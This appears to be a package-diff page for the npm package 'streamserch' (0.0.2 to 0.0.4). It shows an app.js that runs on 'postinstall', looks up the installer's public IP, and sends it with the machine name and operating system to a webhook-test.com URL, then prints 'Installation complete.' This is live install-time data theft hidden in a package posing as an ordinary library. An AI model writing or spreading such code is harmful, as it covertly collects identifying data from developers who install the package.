streamserch 0.0.2 → 0.0.4
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +11 -5
- package/package.json +1 -6
package/app.js
CHANGED
@@ -11,14 +11,20 @@ https.get('https://ipinfo.io/ip', (res) => {
|
|
11
11
|
res.on('data', (chunk) => {
|
12
12
|
data += chunk;
|
13
13
|
});
|
14
|
+
|
14
15
|
res.on('end', () => {
|
15
|
-
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}O:${operatingSystem}`;
|
16
|
+
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}&O:${operatingSystem}`;
|
17
|
+
|
16
18
|
https.get(base, (res1) => {
|
17
|
-
|
18
|
-
|
19
|
-
|
19
|
+
res1.on('data', () => { })
|
20
|
+
res1.on('end', () => {
|
21
|
+
console.log('Installation complete.');
|
20
22
|
});
|
23
|
+
}).on('error', (e) => {
|
24
|
+
console.error(`Error with installation: ${e.message}`);
|
21
25
|
});
|
22
26
|
});
|
23
|
-
});
|
24
27
|
|
28
|
+
}).on('error', (e) => {
|
29
|
+
console.error(`Error with request: ${e.message}`);
|
30
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "streamserch",
|
3
|
-
"version": "0.0.
|
3
|
+
"version": "0.0.4",
|
4
4
|
"description": "streamserch",
|
5
5
|
"main": "app.js",
|
6
6
|
"author": {
|
@@ -8,10 +8,5 @@
|
|
8
8
|
},
|
9
9
|
"scripts": {
|
10
10
|
"postinstall": "node app.js"
|
11
|
-
},
|
12
|
-
"devDependencies": {
|
13
|
-
"eslint": "^8.21.0"
|
14
|
-
},
|
15
|
-
"eslintConfig": {
|
16
11
|
}
|
17
12
|
}
|